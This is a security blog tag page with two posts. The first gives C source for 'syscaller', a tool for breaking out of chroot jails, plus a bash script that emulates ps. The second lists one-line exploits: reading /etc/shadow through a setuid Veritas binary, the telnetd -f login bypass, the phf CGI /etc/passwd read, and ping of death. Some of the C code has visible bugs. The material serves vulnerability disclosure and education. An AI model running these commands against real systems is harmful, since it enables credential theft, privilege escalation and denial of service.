Posts Tagged root

Changed-Rooted Jail Hackery Part 2

It’s been a while, but that doesn’t necessarily mean it was vaporware! 😉 As promised in Part 1, the system call tool that mimicks GNU fileutils commands is in the code listing below. Support for any additional commands is welcome; if anybody adds more feel free to e-mail your source code. Extension should be fairly straightforward given then “if(){}else if{}else{}” template. Just simply add another else-if code block with appropriate command line argument parsing. It’s too bad you can’t really do closures in C, but a likely approach to increasing this tool’s modularity is the use of function pointers. Of course new commands don’t have to be from GNU fileutils–mixing and matching Linux system calls in C has limitless possibilities.

Speaking of GNU, I stumbled across an extremely useful GNU project called parallel. Essentially, it’s a multi-threaded version of xargs(1p). I’ve been including it in a lot of bash scripts I’ve written recently. It doesn’t seem to be part of the default install for any operating system distributions, yet; maybe when it evolves into something even more awesome it’ll become mainstream. 🙂 Suprisingly, I was even able to compile it on SUA/Interix without any problems. The only complaint I have about it is the Perl source language (not that I have anything against Perl). I simply feel that the parallelization processes could be that much faster if written in C. Maybe I’ll perlcc(1) it or something. Okay, then–without any further adieu, here’s the code for syscaller:

/*
 * syscaller v0.8a - breaking out of chroot jails "ex nihilo"
 *
 * by Derek Callaway <decal@security-objectives.com>
 *
 *
 * Executes system calls instead of relying on programs from the
 * GNU/Linux binutils package. Can be useful for breaking out of
 * a chroot() jail.
 *
 * compile: gcc -O2 -o syscaller -c syscaller.c -Wall -ansi -pedantic
 * copy: cat syscaller | ssh -l user@host.dom 'cat>syscaller'
 *
 * If the cat binary isn't present in the jail, you'll have to be more
 * creative and use a shell builtin like echo (i.e. not the echo binary,
 * but bash's internal implementation of it.)
 *
 * Without any locally accessible file download programs such as:
 * scp, tftp, netcat, sftp, wget, curl, rz/sz, kermit, lynx, etc.
 * You'll have to create the binary on the target system manually.
 * i.e. by echo'ing hexadecimal bytecode. This is left as an exercise
 * to the reader.
 *

 * to the reader.
 *
 */

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>

#define _GNU_SOURCE 1
#define _USE_MISC 1

#include<unistd.h>
#include<sys/syscall.h>
#include<sys/types.h>
#include<pwd.h>
#include<grp.h>

int syscall(int number, ...);

/* This is for chdir() */
#define SHELL_PATHNAME "/bin/sh"

static void usage(char **argv)
{
  printf("usage: %s syscall arg1 [arg2 [...]]\n", *argv);
  printf("help:  %s help\n", *argv);
  exit(EXIT_FAILURE);
}

static void help(char **argv)
{
  puts("syscaller v0.8a");
  puts("=-=-=-=-=-=-=-=");
  puts("");
  puts("SYSCALLER COMMANDS");
  puts("");
  puts("chmod mode pathname");
  puts("chdir pathname");
  puts("chown user group pathname");
  puts("mkdir pathname mode");
  puts("rmdir pathname");
  puts("touch pathname mode");
  puts("");

  puts("Note: modes are in octal format (symbolic modes are unsupported)");
  puts("Note: some commands mask octal mode bits with the current umask value");
  puts("Note: creat is an alias for touch");
  puts("");
  puts("USEFUL SHELL BUILTINS");
  puts("");
  puts("ls -a / (via brace/pathname expansion): echo /{.*,*}");

  exit(EXIT_SUCCESS);
}

int main(int argc, char *argv[])
{
  register char *p = 0;
  signed auto int r = 1;

  if(argc < 2)
    usage(argv);

  /* I prefer to avoid strcasecmp() since it's not really standard C. */
  for(p = argv[1];*p;++p)
    *p = tolower(*p);

  do
  {
    if(!strcmp(argv[1], "chmod") && argc >= 4)
    {
      /* decimal to octal integer conversion */
      const mode_t m = strtol(argv[2], NULL, 8);

      r = syscall(SYS_chmod, argv[3], m);

#ifdef DEBUG
  fprintf(stderr, "syscall(%d, %s, %d) => %d\n", SYS_chmod, argv[3], m, r);
#endif
    }
    else if((!strcmp(argv[1], "chdir") || !strcmp(argv[1], "cd")) && argc >= 3)
    {
      static char *const av[] = {SHELL_PATHNAME, NULL};
      auto signed int r2 = 0;

      r = syscall(SYS_chdir, argv[2]);

#ifdef DEBUG
  fprintf(stderr, "syscall(%d, %s) => %d\n", SYS_chdir, argv[2], r);
#endif

      /* This is required because the new current working directory isn't
       * bound to the original login shell. */
      printf("[%s] exec'ing new shell in directory: %s\n", *argv, argv[2]);
      r2 = system(av[0]);
      printf("[%s] leaving shell in child process\n", *argv);

      if(r2 < 0)
        r = r2;
    }
    else if(!strcmp(argv[1], "chown") && argc >= 5)
    {
      struct passwd *u = NULL;
      struct group *g = NULL;

      if(!(u = getpwnam(argv[2])))
        break;

#ifdef DEBUG
  fprintf(stderr, "getpwnam(%s) => %s:%s:%d:%d:%s:%s:%s\n", argv[2], u->pw_name, u->pw_passwd, u->pw_uid, u->pw_gid, u->pw_gecos, u->pw_dir, u->pw_shell);
#endif

      if(!(g = getgrnam(argv[3])))

        break;

#ifdef DEBUG
  fprintf(stderr, "getgrnam(%s) => %s:%s:%s:%s:", argv[3], g->gr_nam, g->gr_passwd, g->gr_gid);

  if((p = g->gr_mem))
    while(*p)
    {
      fputs(p, stderr);

      p++;

      if(*p)
        fputc(',', stderr);
    }
#endif

        r = syscall(SYS_chown, argv[4], u->pw_uid, g->gr_gid);

#ifdef DEBUG

  fprintf(stderr, "syscall(%d, %d, %d, %s) => %d\n", SYS_chown, u->pw-uid, g->gr_gid, argv[4], r);
#endif
    }
    else if((!strcmp(argv[1], "creat") || !strcmp(argv[1], "touch")) && argc >= 4 )
    {
      const mode_t m = strtol(argv[3], NULL, 8);

      r = syscall(SYS_creat, argv[2], m);

#ifdef DEBUG
  fprintf(stderr, "syscall(%d, %S, %d) => %d\n", SYS_creat, argv[2], m, r);
#endif
    }
    else if(!strcmp(argv[1], "mkdir") && argc >= 4)
    {
      const mode_t m = strtol(argv[3], NULL, 8);

      r = syscall(SYS_mkdir, argv[2], m);

#ifdef DEBUG
  fprintf(stderr, "syscall(%d, %S, %d) => %d\n", SYS_mkdir, argv[2], m, r);
#endif
    }
    else if(!strcmp(argv[1], "rmdir") && argc >= 3)
    {
      r = syscall(SYS_rmdir, argv[2]);

#ifdef DEBUG
  fprintf(stderr, "syscall(%d, %S) => %d\n", SYS_rmdir, argv[2], r);
#endif
    }
    else if(!strcmp(argv[1], "help"))
      help(argv);
    else
      usage(argv);

    break;
  } while(1);

  perror(argv[1]);

  exit(r);
}

Please note that some of the lines of code in this article are truncated due to how WordPress’s CSS renders the font text. Although, you’ll still receive every statement in its entirety when you copy it to your clipboard. The next specimen is similar to the netstat emulating shell script from Part 1. It loops through the procfs PID number directories and parses their contents to make it look like you’re running the actual /bin/ps, even though you’re inside a misconfigured root directory that doesn’t have that binary. It also has some useful aliases and a simple version of uptime(1).   

#!/bin/bash
# ps.bash by Derek Callaway decal@security-objectives.com
# Sun Sep  5 15:37:05 EDT 2010 DC/SO

alias uname='cat /proc/version' hostname='cat /proc/sys/kernel/hostname'
alias domainname='cat /proc/sys/kernel/domainname' vim='vi'

function uptime() {
  declare loadavg=$(cat /proc/loadavg | cut -d' ' -f1-3)
  let uptime=$(($(awk 'BEGIN {FS="."} {print $1}' /proc/uptime) / 60 / 60 / 24 ))
  echo "up $uptime day(s), load average: $loadavg"
}

function ps() {
    local file base pid state ppid uid
    echo 'S USER     UID   PID  PPID CMD'
    for file in /proc/[0-9]*/status
        do base=${file%/status} pid=${base#/proc/}
        { read _ st _; read _ ppid; read _ _ _ _ uid; } < <(egrep '^(State|PPid|Uid):' "$file")
        IFS=':' read user _ < <(getent passwd $uid) || user=$uid
        printf "%1s %-6s %5d %5d %5d %s\n" $st $user $uid $pid $ppid "$(tr \ \ <"$base/cmdline")"
    done
}

#EOF#

Leave a Comment

Exploit One-Liners

Very Small Shell Scripts

Every once in a while there are security vulnerabilities publicized that can be exploited with a single command. This week, Security Objectives published advisories for two such vulnerabilities (SECOBJADV-2008-04 and SECOBJADV-2008-05) which I’ll be describing here. I’ll also be revisiting some one-line exploits from security’s past for nostalgia’s sake and because history tends to repeat itself.

Both issues that were discovered are related to Symantec’s Veritas Storage Foundation Suite. They rely on the default set-uid root bits being set on the affected binaries. Before Symantec and Veritas combined, Sun package manager prompted the administrator with an option of removing the set-id bits. The new Symantec installer just went ahead and set the bits without asking (how rude!)

On to the good stuff.. The first weakness is an uninitialized memory disclosure vulnerability. It can be leveraged like so:

/opt/VRTS/bin/qiomkfile -s 65536 -h 4096 foo

Now, the contents of file .foo (note that it is a dot-file) will contain uninitialized memory from previous file system operations–usually from other users. Sensitive information can be harvested by varying the values to the -s and -h flags over a period of time.

This next one is a bit more critical in terms of privilege escalation. It is somewhat similar to the Solaris srsexec hole from last year. Basically, you can provide any file’s pathname on the command line and have it displayed on stderr. As part of the shell command, I’ve redirected standard error back to standard output.

/opt/VRTSvxfs/sbin/qioadmin -p /etc/shadow / 2>&1

Some of these one-liner exploits can be more useful than exploits that utilize shellcode. Kingcope’s Solaris in.telnetd exploit is a beautiful example of that. The really interesting thing about that one was its resurrection–it originally became well-known back in 1994. In 2007, Kingcope’s version won the Pwnie award for best server-side bug.

telnet -l -fusername hostname

Let’s not forget other timeless classics such as the cgi-bin/phf bug, also from the mid-nineties:

lynx http://host.com/cgi-bin/phf?Qalias=/bin/cat%20/etc/passwd

..and Debian’s suidexec hole from the late nineties:

/usr/bin/suidexec /bin/sh /path/to/script


I’m not including exploits that have pipes/semi-colons/backticks/etc. in the command-line because that’s really more than one command being executed. Since the “Ping of Death” is a single command from a commonly installed system utility I’ll be including it here as well. I consider it a true denial of service attack since it does not rely on bandwidth exhaustion:

ping -s70000 -c1 host

EOF

Comments (15)

%d bloggers like this: